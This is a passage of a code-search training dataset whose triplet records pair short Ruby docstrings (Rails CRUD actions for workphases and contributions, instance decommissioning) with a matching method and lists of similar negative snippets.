@backend.document_get_and_lock(bucket_name, \"#{@scope_name}.#{@name}\", id, lock_time)\n GetResult.new do |res|\n res.transcoder = options.transcoder\n res.cas = resp[:cas]\n res.flags = resp[:flags]\n res.encoded = resp[:content]\n end\n end", "def read\n return unless locks\n\n result = locks.find(data_bag_id)\n\n result.to_hash if result\n end", "def lock_hash\n return {} unless resource.optimistic_locking_enabled? && lock_token.present?\n { _version_: lock_token }\n end", "def get_and_lock(id, lock_time, options = GetAndLockOptions.new)\n resp = @backend.document_get_and_lock(bucket_name, \"#{@scope_name}.#{@name}\", id, options.timeout, lock_time)\n GetResult.new do |res|\n res.transcoder = options.transcoder\n res.cas = resp[:cas]\n res.flags = resp[:flags]\n res.encoded = resp[:content]\n end\n end", "def parse_lock_request(body)\n result = @server.xml.expect(\n '{DAV:}lockinfo',\n body\n )\n\n lock_info = LockInfo.new\n\n lock_info.owner = result.owner\n lock_info.token = UuidUtil.uuid\n lock_info.scope = result.scope\n\n lock_info\n end", "def lock_token\n get_header 'HTTP_LOCK_TOKEN'\n end", "def get_credential(key, data_hash = nil)\n data_hash = attributes if data_hash.nil?\n if data_hash[:aws_sts_token]\n data_hash.fetch(\"aws_sts_#{key}\", data_hash[\"aws_#{key}\"])\n elsif data_hash[:aws_sts_session_token]\n data_hash.fetch(\"aws_sts_session_#{key}\", data_hash[\"aws_#{key}\"])\n else\n data_hash[\"aws_#{key}\"]\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Decommission and send notifications. Returns false on error.
def do_decommission(lock, revoker = nil) if !lock.do_decommission(revoker, request.uuid) check_save_failure(lock) return false end return true end
[ "def decommission_command(opts)\n @scheduler.run_decommission { CommandIO.instance.reply(opts[:conn], \"Decommissioned\") }\n end", "def decommission_command(opts)\n @scheduler.run_decommission { CommandIO.instance.reply(opts[:conn], 'Decommissioned') }\n end", "def schedule_decommission(options)\n return res = RightScale::OperationResult.error('Instance is already decommissioning') if RightScale::InstanceState.value == 'decommissioning'\n options = RightScale::SerializationHelper.symbolize_keys(options)\n\n # This is the tricky bit: only set a post decommission callback if there wasn't one already set\n # by 'run_decommission'. This default callback will shutdown the instance for soft-termination.\n # The callback set by 'run_decommission' can do other things before calling 'terminate' manually.\n # 'terminate' will *not* shutdown the machine. This is so that when running the decommission\n # sequence as part of a non-soft termination we don't call shutdown.\n unless @post_decommission_callback\n @shutdown_timeout = EM::Timer.new(SHUTDOWN_DELAY) { RightScale::InstanceState.shutdown(options[:user_id], options[:skip_db_update]) }\n @post_decommission_callback = lambda { @shutdown_timeout.cancel; RightScale::InstanceState.shutdown(options[:user_id], options[:skip_db_update]) }\n end\n\n @scheduled_bundles.clear # Cancel any pending bundle\n RightScale::InstanceState.value = 'decommissioning'\n schedule_bundle(options[:bundle])\n @scheduled_bundles.push('end')\n res = RightScale::OperationResult.success\n end", "def run_decommission(&callback)\n if RightScale::InstanceState.value == 'decommissioned'\n # We are already decommissioned, just call the post decommission callback\n callback.call if callback\n else\n # set (or override if already decommissioning) bundle queue closed callback.\n @bundle_queue_closed_callback = make_decommission_callback(&callback)\n if RightScale::InstanceState.value != 'decommissioning'\n # Trigger decommission\n send_request('/booter/get_decommission_bundle', {:agent_identity => @agent_identity}) do |r|\n res = result_from(r)\n if res.success?\n schedule_decommission(:bundle => res.content)\n else\n RightScale::Log.debug(\"Failed to retrieve decommission bundle (#{res.content})\")\n end\n end\n end\n end\n true\n end", "def run_decommission(&callback)\n @post_decommission_callback = callback\n if RightScale::InstanceState.value == 'decommissioned'\n # We are already decommissioned, just call the post decommission callback\n callback.call if callback\n elsif RightScale::InstanceState.value != 'decommissioning'\n # Trigger decommission\n RightScale::RequestForwarder.request('/booter/get_decommission_bundle', :agent_identity => @agent_identity) do |r|\n res = RightScale::OperationResult.from_results(r)\n if res.success?\n schedule_decommission(:bundle => res.content)\n else\n RightScale::RightLinkLog.debug(\"Failed to retrieve decommission bundle: #{res.content}\")\n end\n end\n end\n true\n end", "def schedule_decommission(options)\n case RightScale::InstanceState.value\n when 'decommissioning', 'decommissioned'\n return error_result('Instance is already decommissioning')\n end\n options = RightScale::SerializationHelper.symbolize_keys(options)\n bundle = options[:bundle]\n decommission_type = options[:kind]\n audit = RightScale::AuditProxy.new(bundle.audit_id)\n bundle.runlist_policy.thread_name = \"decommission\" if bundle.respond_to?(:runlist_policy) && bundle.runlist_policy\n\n # see note below for reason why decommission_type would be nil.\n context = RightScale::OperationContext.new(\n bundle, audit,\n :decommission_type => decommission_type || 'unknown')\n\n # This is the tricky bit: only set a post decommission callback if there wasn't one already set\n # by 'run_decommission'. This default callback will shutdown the instance for soft-termination.\n # The callback set by 'run_decommission' can do other things before calling 'terminate' manually.\n # 'terminate' will *not* shutdown the machine. This is so that when running the decommission\n # sequence as part of a non-soft termination we don't call shutdown.\n unless @bundle_queue_closed_callback\n decommission_timeout = RightScale::FeatureConfigManager.get_value('decommission_timeout', DEFAULT_SHUTDOWN_DELAY)\n @shutdown_timeout = EM::Timer.new(decommission_timeout) do\n @shutdown_timeout = nil\n msg = \"Failed to decommission in less than #{decommission_timeout / 60} minutes, forcing shutdown\"\n audit.append_error(msg, :category => RightScale::EventCategories::CATEGORY_ERROR)\n RightScale::InstanceState.value = 'decommissioned'\n RightScale::InstanceState.shutdown(options[:user_id], options[:skip_db_update], decommission_type)\n end\n @bundle_queue_closed_callback = make_decommission_callback do\n @shutdown_timeout.cancel if @shutdown_timeout\n @shutdown_timeout = nil\n RightScale::InstanceState.shutdown(options[:user_id], options[:skip_db_update], decommission_type)\n end\n end\n\n @bundle_queue.clear # Cancel any pending bundle\n unless bundle.executables.empty?\n audit.update_status(\"Scheduling execution of #{bundle.to_s} for decommission\")\n @bundle_queue.push(context)\n end\n @bundle_queue.close\n\n # transition state to 'decommissioning' (by setting decommissioning_type if given)\n #\n # note that decommission_type can be nil in case where a script or user\n # shuts down the instance manually (without using rs_shutdown, etc.).\n # more specifically, it happens when \"rnac --decommission\" is invoked\n # either directly or indirectly (on Linux by runlevel 0|6 script).\n if decommission_type\n RightScale::InstanceState.decommission_type = decommission_type\n else\n RightScale::InstanceState.value = 'decommissioning'\n end\n success_result\n end", "def notify_delete_package\n @requests = Requests.get_requests_delete_package(cookies[:user_id])\n @packages = Packages.get_all_packages\n flag = true\n if( @requests != nil && @packages != nil )\n @packages.each do |t|\n @requests.each do |s|\n if( ( s.senders_id == cookies[:user_id] )&&( s.accept == true ) )\n @notification = Notifications.create_update( s.carriers_id )\n if( ( t.id == s.packages_id ) && ( t.senders_id == s.senders_id ) && ( t.carriers_id == s.carriers_id ) )\n @notification = Notifications.create( s.senders_id,\"The package you deleted is not yet removed\" )\n flag = false\n end\n end\n end\n end\n if( flag == true )\n @notification = Notifications.create_up( \"The package you have accepted to carry has been removed\" )\n end\n end\n return;\n end", "def pending_decommission(proxy)\n end", "def notify_payment\n @pack = Packages.get_packages_payment\n @pay = Payment.get_all_payments\n if( @pack != nil ) && ( @pay != nil )\n @pack.each do |t|\n @pay.each do |s|\n if( t.id == s.packages_id )\n if( t.senders_id == s.users_id )\n @notification = Notifications.create(t.senders_id, \"as a sender an amount has been deducted from your account\")\n elsif( t.carriers_id == s.users_id )\n @notification = Notifications.create(t.carriers_id, \"as a carrier an amount has been deducted from your account\")\n end\n end\n end\n end\n end\n return;\n end", "def decommission_agent(agent_name)\n run_command('Decommissioning...', 'decommission')\n end", "def decommission\n actually_decomission = false\n\n self.transaction(Zartan::Application.config.default_transaction_options) do\n if self.no_sites?\n # soft-delete the proxy so that nobody else tries to use it\n self.soft_delete\n self.save\n # Decomission the proxy outside of the transaction\n actually_decomission = true\n end\n end\n # Tear down the proxy outside of the transaction because we don't need\n # the database anymore.\n self.source.decommission_proxy(self) if actually_decomission\n end", "def notify_broker_destroy\n achievement? ? true : super\n end", "def release\n # person_id = person.nil? ? nil : person.id\n # application_status_id = application_status.nil? ? nil : application_status.id\n if @email_contact = EmailContact.log(person_id, ApplyMailer.deliver(email), application_status, original, contactable)\n begin\n eval(command_after_delivery) if command_after_delivery\n self.destroy\n rescue Exception => e\n self.update_attribute(:error_details, \"The message was sent but the command after delivery was not executed: #{e.message}\")\n end\n end\n end", "def reject\n General::ChangeStatusService.new(self, StatusLancer::REJECTED).change\n if self.save\n MemberMailerWorker.perform_async(recruitment_id: self.id.to_s, perform: :send_recruitment_rejection)\n return true\n end\n return false\n end", "def undeliverable\n @order.undeliverable\n render 'status'\n end", "def disable\n response = self.class.get \"/DisableSubscriptions\"\n\n success = response.fetch \"success\"\n\n if success\n return true\n else\n raise Error, response.fetch(\"error\")\n end\n end", "def exec_commande_notifications\n # On affiche toujours la liste des notifications\n clear\n notifications.wait_for_choix_and_execute\n end", "def acknowledge\n # this is a stub because Adyen does not support this feature, as of 2009-10-12\n true\n end", "def discharging?\n\t\t\t\treturn nil if status.empty?\n\t\t\t\tstatus.downcase == 'discharging'\n\t\t\tend" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /workphases GET /workphases.json
def view @workphases = Workphase.search_by_phase(params[:search]) end
[ "def index\n @phases = Phase.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @phases }\n end\n end", "def index\n @project_phases = ProjectPhase.all\n end", "def index\n @phases = Phase.where(project_id: params[:project_id])\n end", "def index\n @phases = Phase.all\n end", "def index\n @project = Project.find_by_id(params[:project_id])\n @project_phases = @project.project_phase\n end", "def get_work_json\n client.make_request('/get-work-json', 'post', params: {})\n end", "def phases(wod)\n options = {\n wod: wod,\n response: api_connection.connection.get(\"phases/\"),\n directory: \"fpl_data/pulled_data/phases\",\n filename: \"phases_#{DateTime.current.strftime(\"%C%y-%m-%d\")}\"\n }\n\n CoreUtility::DataToJSON.write_or_display_data(options)\n end", "def index\n @renting_phases = RentingPhase.all\n end", "def create\n @workphase = Workphase.new(workphase_params)\n\n respond_to do |format|\n if @workphase.save\n format.html { redirect_to @workphase, notice: 'Workphase was successfully created.' }\n format.json { render :show, status: :created, location: @workphase }\n else\n format.html { render :new }\n format.json { render json: @workphase.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\r\n @production_phases = ProductionPhase.all\r\n end", "def index\n \n @steps = @quest.steps\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @steps }\n end\n end", "def index\n @tunning_work_orders = TunningWorkOrder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunning_work_orders }\n end\n end", "def index\n @phase_templates = PhaseTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @phase_templates }\n end\n end", "def show\n @project_phase = ProjectPhase.find(params[:id])\n @lifecycle_phase = @project_phase.lifecycle_phase\n @project_phase_deliverables = []\n @project_phase.stock_deliverable_types.each do |stock|\n stock.deliverables.each do |d|\n @project_phase_deliverables << d\n end\n end\n\n @project_phase.custom_deliverable_types.each do |custom|\n custom.deliverables.each do |d|\n @project_phase_deliverables << d\n end\n end\n\n respond_to do |format|\n format.json { render :json => { :lifecycle_phase_container => @lifecycle_phase,\n :deliverables_container => @project_phase_deliverables,\n :project_phase_estimated_effort => @project_phase.estimated_effort,\n :project_phase_logged_effort => @project_phase.logged_effort} }\n end\n end", "def show\r\n @stages_work = StagesWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @stages_work }\r\n end\r\n end", "def index\n @plan_workouts = PlanWorkout.where(:plan_id => @plan.id)\n\n render json: @plan_workouts\n end", "def show\n @tunning_work_order = TunningWorkOrder.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tunning_work_order }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solution_step }\n end\n end", "def index\n @summary_phases = SummaryPhase.all\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST /workphases POST /workphases.json
def create @workphase = Workphase.new(workphase_params) respond_to do |format| if @workphase.save format.html { redirect_to @workphase, notice: 'Workphase was successfully created.' } format.json { render :show, status: :created, location: @workphase } else format.html { render :new } format.json { render json: @workphase.errors, status: :unprocessable_entity } end end end
[ "def create\n \n @workout_exercise = @plan_workout.workout_exercises.create(workout_exercise_params)\n\n render json: @workout_exercise\n end", "def create\n @work_plan = WorkPlan.find(params[:work_plan_id])\n @work_step = WorkStep.new(work_step_params)\n @work_step.work_plan=@work_plan\n\n respond_to do |format|\n if @work_step.save\n format.html { redirect_to @work_plan, notice: 'Work step was successfully created.' }\n format.json { render :show, status: :created, location: @work_plan }\n else\n format.html { render :new }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project_phase = ProjectPhase.new(params[:project_phase])\n\n respond_to do |format|\n if @project_phase.save\n format.html { redirect_to @project_phase, :notice => 'Project phase was successfully created.' }\n format.json { render :json => @project_phase, :status => :created, :location => @project_phase }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project_phase.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @project_phase = ProjectPhase.new(project_phase_params)\n\n respond_to do |format|\n if @project_phase.save\n format.html { redirect_to @project_phase, notice: 'Project phase was successfully created.' }\n format.json { render :show, status: :created, location: @project_phase }\n else\n format.html { render :new }\n format.json { render json: @project_phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @phase = Phase.new(phase_params)\n\n respond_to do |format|\n if @phase.save\n format.html { redirect_to project_phase_path(@project.id, @phase), notice: 'Phase was successfully created.' }\n format.json { render :show, status: :created, location: @phase }\n else\n format.html { render :new }\n format.json { render json: @phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @step = Step.new(step_params)\n @step.save\n render json: @step\n end", "def create\n @project_phase = ProjectPhase.new(project_phase_params)\n\n respond_to do |format|\n if @project_phase.save\n format.html { redirect_to admin_project_phase_path(@project_phase), notice: 'Project phase was successfully created.' }\n format.json { render :show, status: :created, location: @project_phase }\n else\n format.html { render :new }\n format.json { render json: @project_phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project_phase = ProjectPhase.new(project_phase_params)\n @project = Project.find(params[:project_id])\n @project_phase.project_id = @project.id\n respond_to do |format|\n if @project_phase.save\n format.html { redirect_to project_project_phase_path(@project, @project_phase), notice: \"Project phase was successfully created.\" }\n format.json { render :show, status: :created, location: @project_phase }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project_phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @phase = Phase.new(phase_params)\n\n respond_to do |format|\n if @phase.save\n format.html { redirect_to @phase, notice: \"Phase was successfully created.\" }\n format.json { render :show, status: :created, location: @phase }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @stages_work = StagesWork.new(params[:stages_work])\r\n\r\n respond_to do |format|\r\n if @stages_work.save\r\n format.html { redirect_to @stages_work, notice: 'Stages work was successfully created.' }\r\n format.json { render json: @stages_work, status: :created, location: @stages_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @stages_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @phase = Phase.new(phase_params)\n\n respond_to do |format|\n if @phase.save\n format.html { redirect_to @phase, notice: 'Phase was successfully created.' }\n format.json { render :show, status: :created, location: @phase }\n else\n format.html { render :new }\n format.json { render json: @phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @work_plan = WorkPlan.new(work_plan_params)\n\n sourceWorkPlan = WorkPlan.find_by(id: params[:source_work_plan])\n\n if sourceWorkPlan.present?\n sourceWorkPlan.work_steps.each do |ws|\n newWorkStep = WorkStep.new\n newWorkStep.name = ws.name\n @work_plan.work_steps << newWorkStep\n end\n end\n\n respond_to do |format|\n if @work_plan.save\n format.html { redirect_to edit_work_plan_path(@work_plan), notice: t('helpers.flashes.created', :model => WorkPlan.model_name.human.titleize) }\n format.json { render :show, status: :created, location: @work_plan }\n else\n format.html { render :new }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tunning_work_order = TunningWorkOrder.new(params[:tunning_work_order])\n\n respond_to do |format|\n if @tunning_work_order.save\n format.html { redirect_to @tunning_work_order, notice: 'Tunning work order was successfully created.' }\n format.json { render json: @tunning_work_order, status: :created, location: @tunning_work_order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tunning_work_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_phases\n @lifecycle_phases = LifecyclePhase.find_all_by_lifecycle_id(self.lifecycle_id)\n @lifecycle_phases.each do |lp|\n ProjectPhase.create_from_lifecycle_phase(lp.id, self)\n end\n end", "def create\n\n # puts \"---------------------\"\n # puts workflow_params.to_json\n\n # workflow_attributes = workflow_params\n # step_definitions_attributes = workflow_attributes.delete(\"step_definitions\")\n\n # @workflow = Workflow.new(workflow_attributes)\n\n # @workflow.step_definitions = StepDefinition.createStepDefinitions(step_definitions_attributes)\n\n @workflow = Workflow.new(workflow_params)\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render :show, status: :created, location: @workflow }\n else\n format.html { render :new }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @done_step = DoneStep.new(done_step_params)\n @done_step.save\n render json: @done_step\n end", "def create\n @workload = Workload.new(workload_params)\n\n respond_to do |format|\n if @workload.save\n format.html { redirect_to @workload, notice: 'Workload was successfully created.' }\n format.json { render :show, status: :created, location: @workload }\n else\n format.html { render :new }\n format.json { render json: @workload.errors, status: :unprocessable_entity }\n end\n end\n end", "def phases(wod)\n options = {\n wod: wod,\n response: api_connection.connection.get(\"phases/\"),\n directory: \"fpl_data/pulled_data/phases\",\n filename: \"phases_#{DateTime.current.strftime(\"%C%y-%m-%d\")}\"\n }\n\n CoreUtility::DataToJSON.write_or_display_data(options)\n end", "def create\n @work_order_work_task = WorkOrderWorkTask.new(work_order_work_task_params)\n\n respond_to do |format|\n if @work_order_work_task.save\n format.html { redirect_to @work_order_work_task, notice: 'Work order work task was successfully created.' }\n format.json { render :show, status: :created, location: @work_order_work_task }\n else\n format.html { render :new }\n format.json { render json: @work_order_work_task.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PATCH/PUT /workphases/1 PATCH/PUT /workphases/1.json
def update respond_to do |format| if @workphase.update(workphase_params) format.json { respond_with_bip(@workphase) } #this is added as best_in_place update wasn't holding format.html { redirect_to @workphase, notice: 'Workphase was successfully updated.' } #format.json { render :show, status: :ok, location: @workphase } else format.html { render :edit } format.json { render json: @workphase.errors, status: :unprocessable_entity } end end end
[ "def update\n respond_to do |format|\n if @work_step.update(work_step_params)\n format.html { redirect_to @work_plan, notice: 'Work step was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_plan }\n else\n format.html { render :edit }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @step.update(step_params)\n render json: @step\n end", "def update\n @workout_exercise = WorkoutExercise.find(params[:id])\n\n if @workout_exercise.update(workout_exercise_params)\n head :no_content\n else\n render json: @workout_exercise.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @solution_step.update_attributes(params[:solution_step])\n format.html { redirect_to exercise_path(@solution_step.exercise), notice: 'Solution step was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solution_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @production_work_step.update(production_work_step_params)\n format.html { redirect_to @production_work_step, notice: 'Production work step was successfully updated.' }\n format.json { render :show, status: :ok, location: @production_work_step }\n else\n format.html { render :edit }\n format.json { render json: @production_work_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @phase.update(phase_params)\n format.html\n format.json { render :nothing => true }\n else\n format.html { render :edit }\n format.json { render json: @phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pending_work.update(pending_work_params)\n format.html { redirect_to @pending_work, notice: 'Pending work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pending_work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @stages_work = StagesWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @stages_work.update_attributes(params[:stages_work])\r\n format.html { redirect_to @stages_work, notice: 'Stages work was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @stages_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @line_work = LineWork.find(params[:id])\n\n respond_to do |format|\n if @line_work.update_attributes(params[:line_work])\n format.html { redirect_to @line_work, notice: 'Line work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n scenario = Scenario.find(params[:id])\n scenario.update(scenario_params)\n scenario.steps = []\n json_response(step_builder(scenario), status: :updated)\n rescue => e\n render json: {error: e.message}, status: 422\n end", "def update\n\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @caseworklinething.update(caseworklinething_params)\n format.html { redirect_to @caseworklinething, notice: 'Caseworklinething was successfully updated.' }\n format.json { render :show, status: :ok, location: @caseworklinething }\n else\n format.html { render :edit }\n format.json { render json: @caseworklinething.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @project_phase = ProjectPhase.find(params[:id])\n\n respond_to do |format|\n if @project_phase.update_attributes(params[:project_phase])\n format.html { redirect_to @project_phase, :notice => 'Project phase was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @project_phase.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to action: 'index', flash: {notice: 'Work item was successfully updated.' }}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tunning_work_order = TunningWorkOrder.find_by_id(params[:id])\n\n respond_to do |format|\n if @tunning_work_order.update_attributes(params[:tunning_work_order])\n format.html { redirect_to @tunning_work_order, notice: 'Tunning work order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tunning_work_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @phase.update(phase_params)\n format.html { redirect_to @phase, notice: 'Phase was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @phase.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @special_requirement.update(special_requirement_params)\n format.html { redirect_to @special_requirement, notice: 'Special requirement was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_requirement }\n else\n format.html { render :edit }\n format.json { render json: @special_requirement.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @our_work = OurWork.find(params[:id])\n\n respond_to do |format|\n if @our_work.update_attributes(params[:our_work])\n format.html { redirect_to @our_work, notice: 'Our work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @our_work.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
DELETE /workphases/1 DELETE /workphases/1.json
def destroy Workphase.find(params[:id]).destroy #@workphase.destroy respond_to do |format| format.html { redirect_to workphases_url, notice: 'Workphase was successfully destroyed.' } format.json { head :no_content } end end
[ "def destroy\n @project_phase = ProjectPhase.find(params[:id])\n @project_phase.destroy\n\n respond_to do |format|\n format.html { redirect_to project_phases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @step = RunStep.find(params[:id])\n @step.destroy\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end", "def destroy\n @solution_step.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_path(@solution_step.exercise) }\n format.json { head :no_content }\n end\n end", "def destroy\n @workload.destroy\n respond_to do |format|\n format.html { redirect_to workloads_url, notice: 'Workload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @static_workload.destroy\n respond_to do |format|\n format.html { redirect_to static_workloads_url, notice: 'Static workload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_work = LineWork.find(params[:id])\n @line_work.destroy\n\n respond_to do |format|\n format.html { redirect_to line_works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_execution.destroy\n respond_to do |format|\n format.html { redirect_to exercise_executions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @phase.destroy\n respond_to do |format|\n format.html { redirect_to project_phases_path(@project.id), notice: 'Phase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @step1 = Step1.find(params[:id])\n @step1.destroy\n\n respond_to do |format|\n format.html { redirect_to step1s_url }\n format.json { head :ok }\n end\n end", "def destroy\n @run_step = RunStep.find(params[:id])\n @run_step.destroy\n\n respond_to do |format|\n format.html { redirect_to run_steps_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @stages_work = StagesWork.find(params[:id])\r\n @stages_work.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to stages_works_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @project_phase.destroy\n respond_to do |format|\n format.html { redirect_to project_phases_url, notice: 'Project phase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @project_phase.destroy\n respond_to do |format|\n format.html { redirect_to project_phases_url, notice: \"Project phase was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @project_phase.destroy\n respond_to do |format|\n format.html { redirect_to admin_project_phases_url, notice: 'Project phase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @phase.destroy\n respond_to do |format|\n format.html { redirect_to project_path(@project.id), notice: 'Phase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n elaboration = Elaboration.find(params[:elaboration_id])\n @step = elaboration.steps.find(params[:id])\n @step.destroy\n\n respond_to do |format|\n format.html { redirect_to elaboration_steps_url(elaboration) }\n format.json { head :ok }\n end\n end", "def destroy\n @phase = Phase.find(params[:id])\n @phase.destroy\n\n respond_to do |format|\n format.html { render :layout => false }\n format.json { head :no_content }\n end\n end", "def destroy\n @building_block_substep.destroy\n respond_to do |format|\n format.html { redirect_to building_block_substeps_path, notice: 'Building block substep was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_step.destroy\n respond_to do |format|\n format.html { redirect_to exercise_steps_url, notice: 'Exercise step was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /people/1/contributions GET .people/1/contributions.json
def index @contributions = @person.contributions end
[ "def contributions_made\n render json: @user.contributions\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contributions }\n end\n end", "def get_contributions(repository)\n Git.contributions GithubAPI.name(@username), repository\n end", "def contributions\n respond_to do |format|\n format.html { redirect_to contributions_path }\n format.xml {\n # TODO : make an xml export : a finder +\n # render :xml => @issues.to_xml should be enough)\n }\n format.ods { compute_contributions(:ods) }\n end\n end", "def gifts_contributing\n render json: @user.gifts_contributing\n end", "def index\n @membership_contributions = MembershipContribution.all\n end", "def index\n @contributions = Contribution.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contributions }\n end\n end", "def contribution(project)\n \tcontributions.find_by(participation: participation(project))\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contributions }\n end\n end", "def ask\n @view = VIEWS[:ask]\n @contributions = Contribution.where(url: '')\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @contributions }\n end\n end", "def index\n @contributi = Contributo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contributi }\n end\n end", "def get_contributors subreddit\n logged_in?\n get(\"/r/#{subreddit}/about/contributors.json\")\n end", "def display_contributions(repo_full_name)\n repo = Commitchamp::Repo.find_by(full_name: repo_full_name)\n contributors = repo.contributions.order('additions + deletions + commits DESC').limit(10)\n puts \"\\n##Contributions for '#{repo.full_name}'\"\n puts \"\\nUsername | Additions | Deletions | Commits\"\n contributors.each do |x|\n puts \"#{x.user.login} | #{x.additions} | #{x.deletions} | #{x.commits}\"\n end\n puts\n end", "def show\n @contributo = Contributo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contributo }\n end\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", 